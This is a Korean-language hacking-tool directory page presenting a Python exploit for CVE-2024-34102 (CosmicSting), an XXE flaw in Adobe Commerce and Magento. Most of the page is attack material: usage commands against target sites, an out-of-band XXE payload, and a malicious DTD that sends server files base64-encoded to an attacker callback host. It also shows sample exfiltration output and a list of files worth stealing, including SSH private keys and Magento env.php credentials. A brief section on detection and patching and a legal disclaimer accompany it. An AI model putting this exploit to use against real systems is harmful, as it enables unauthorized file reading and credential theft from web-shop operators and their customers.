Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2024-34102 — CVE-2024-34102용 python3 익스플로잇 | Kitploit
도구/GitHubGitHub/nmmorette/cve-2024-34102
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubnmmorette/cve-2024-34102

CVE-2024-34102

CVE-2024-34102용 python3 익스플로잇

저장소 보기
116개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2024-34102 - CosmicSting XXE 익스플로잇

Python Version CVE

CVE-2024-34102(CosmicSting) - Adobe Commerce 및 Magento의 XML External Entity(XXE) 취약점에 대한 익스플로잇입니다.

📋 취약점 정보

CVE-2024-34102는 다음에 영향을 주는 치명적인 XXE(XML External Entity) 취약점입니다:

  • Adobe Commerce 버전 2.4.7, 2.4.6-p5, 2.4.5-p7, 2.4.4-p8 및 이전 버전
  • Magento Open Source(동일 버전)

이 취약점으로 인증되지 않은 공격자는 다음을 수행할 수 있습니다:

  • 📄 서버에서 임의의 파일 읽기
  • 🔐 자격 증명 및 민감한 구성 정보 유출
  • 💾 데이터베이스 정보 접근
  • 🚨 임의 코드 실행(일부 시나리오에서)

CVSS 점수: 9.8(치명적)

🎯 크레딧

이 익스플로잇은 다음 사람의 원본 작업을 기반으로 합니다:

  • @Chocapikk - 원본 CVE-2024-34102

이 버전의 개선 사항:

  • ✅ 커스텀 동적 DTD 서버(fars.ee 의존성 제거)
  • ✅ 자동 디코딩을 지원하는 콜백 서버
  • ✅ 필수 파라미터 검증
  • ✅ 외부 서비스 재시도 로직
  • ✅ 더 자세한 오류 메시지
  • ✅ 콜백 HTTPS 지원
  • ✅ Python 3.8+ 완전 호환

🛠️ 요구 사항

  • Python 3.8 이상
  • DTD 파일을 호스팅할 서버에 대한 접근 권한(VPS, Burp Collaborator 등)
  • 콜백 서비스(Burp Collaborator, Oastify 또는 자체 서버)

📦 설치

root@kitploit:~
# Clone the repository
git clone https://github.com/YOUR_USERNAME/CVE-2024-34102.git
cd CVE-2024-34102

# Install dependencies
pip install -r requirements.txt

🚀 사용법

방법 1: fars.ee 사용(자동)

root@kitploit:~
python3 exploit.py \
  -u https://target.com \
  -f /etc/passwd \
  -c your-callback.oastify.com

방법 2: 자체 DTD 서버 사용

터미널 1 - DTD 서버:

root@kitploit:~
sudo python3 server_dtd.py

터미널 2 - 익스플로잇:

root@kitploit:~
python3 exploit.py \
  -u https://target.com \
  -f /etc/passwd \
  -c your-callback.oastify.com \
  --dtd-server YOUR-IP:8000

방법 3: 자체 콜백 서버 사용

터미널 1 - DTD 서버:

root@kitploit:~
sudo python3 server_dtd.py

터미널 2 - 콜백 서버(자동 디코딩):

root@kitploit:~
sudo python3 callback_server.py

터미널 3 - 익스플로잇:

root@kitploit:~
python3 exploit.py \
  -u https://target.com \
  -f /etc/passwd \
  -c YOUR-CALLBACK-IP \
  --dtd-server YOUR-DTD-IP:8000

📝 파라미터

필수:

  • -u, --url - 대상 URL(기본 도메인)
  • -f, --file - 서버에서 읽을 파일(예: /etc/passwd)
  • -c, --callback - 콜백 서버(IP/도메인)

선택:

  • --dtd-server - DTD 파일을 호스팅할 커스텀 서버
  • --https - 콜백에 HTTPS 사용(기본값: HTTP)

🎬 예제

/etc/passwd 읽기

root@kitploit:~
python3 exploit.py \
  -u https://vulnerable-site.com \
  -f /etc/passwd \
  -c abc123.oastify.com \
  --dtd-server 192.168.1.100:8000

Magento 구성 읽기

root@kitploit:~
python3 exploit.py \
  -u https://vulnerable-site.com \
  -f /var/www/html/app/etc/env.php \
  -c abc123.oastify.com \
  --dtd-server 192.168.1.100:8000

SSH 키 읽기

root@kitploit:~
python3 exploit.py \
  -u https://vulnerable-site.com \
  -f /home/ubuntu/.ssh/id_rsa \
  -c abc123.burpcollaborator.net \
  --dtd-server 192.168.1.100:8000 \
  --https

🔍 작동 방식

1. Out-of-Band XXE

이 익스플로잇은 데이터 유출을 위해 Out-of-Band XXE 기법을 사용합니다:

root@kitploit:~
<!-- Payload sent to target -->
<!DOCTYPE r [
  <!ENTITY % sp SYSTEM "http://your-server/exploit.dtd">
  %sp;
  %param1;
]>
<r>&exfil;</r>

2. 외부 DTD

대상 서버가 악성 DTD를 다운로드합니다:

root@kitploit:~
<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://callback/?exploited=%data;'>">

3. 데이터 유출

서버가 XML을 처리하고 파일을 읽은 다음 base64로 인코딩하여 콜백으로 전송합니다:

root@kitploit:~
GET /?exploited=cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaAo...

4. 디코딩

root@kitploit:~
echo "cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaAo..." | base64 -d

📊 출력 예시

root@kitploit:~
[*] CosmicSting XXE Exploit (CVE-2024-34102)
[*] Target: https://vulnerable-site.com
[+] Callback Server: abc123.oastify.com
[+] Using custom DTD server: 192.168.1.100:8000
[+] DTD URL: http://192.168.1.100:8000/12ec6594.dtd?callback=abc123.oastify.com&file=/etc/passwd&protocol=http

DTD will be dynamically generated with:
[*]   Callback: http://abc123.oastify.com
[*]   File: /etc/passwd

DTD server is running? Ready to continue? [y/N]: y
[+] Target file: /etc/passwd
[+] Callback URL: http://abc123.oastify.com/?exploited=...
[*] Sending XXE payload to: https://vulnerable-site.com/rest/V1/guest-carts/1/estimate-shipping-methods
[*] Response status: 500
[!] Status 500 - This is normal! XXE may have triggered.
[!] Check your callback server for incoming requests.
[*] Waiting for callback (5 seconds)...

=== CHECK YOUR CALLBACK SERVER ===
[!] Monitor your callback service for incoming HTTP requests
[!] Expected request: http://abc123.oastify.com/?exploited=<base64_data>

To decode the exfiltrated data:
[*]   echo 'BASE64_STRING' | base64 -d

[!] Check your Burp Collaborator or Oastify dashboard now!

🛡️ 탐지 및 대응

방어자를 위한:

탐지:

  • /rest/V1/guest-carts/*/estimate-shipping-methods 엔드포인트에 대한 HTTP 요청 모니터링
  • 외부 엔티티(<!ENTITY)가 포함된 XML 페이로드에 대한 경고
  • 의심스러운 도메인으로의 외부 연결 탐지

대응:

  • 패치된 버전으로 업데이트:
    • Adobe Commerce 2.4.7-p1, 2.4.6-p6, 2.4.5-p8, 2.4.4-p9
  • XML 파서에서 외부 엔티티 처리 비활성화
  • anti-XXE 규칙이 포함된 WAF 구현

펜테스터를 위한:

테스트할 가치가 있는 파일:

root@kitploit:~
/etc/passwd
/var/www/html/app/etc/env.php
/var/www/html/app/etc/local.xml
/home/USER/.ssh/id_rsa
/var/log/apache2/access.log
/proc/self/environ

⚖️ 법적 고지

root@kitploit:~
This exploit is provided for educational and security research purposes only.

Using this code to test systems without explicit authorization is ILLEGAL.

You are SOLELY responsible for your actions. Use only on:
✅ Your own test environments
✅ Authorized bug bounty programs
✅ Contracted penetration tests

DO NOT use on:
❌ Systems without authorization
❌ Production environments without permission
❌ Any malicious activity

The author is not responsible for misuse of this code.

📚 참고 자료

  • Adobe Security Bulletin APSB24-40
  • CVE-2024-34102 상세 정보
  • OWASP XXE 예방
  • Chocapikk의 원본 익스플로잇

⭐ 이 프로젝트가 유용했다면 스타를 남겨주세요!

도구 다운로드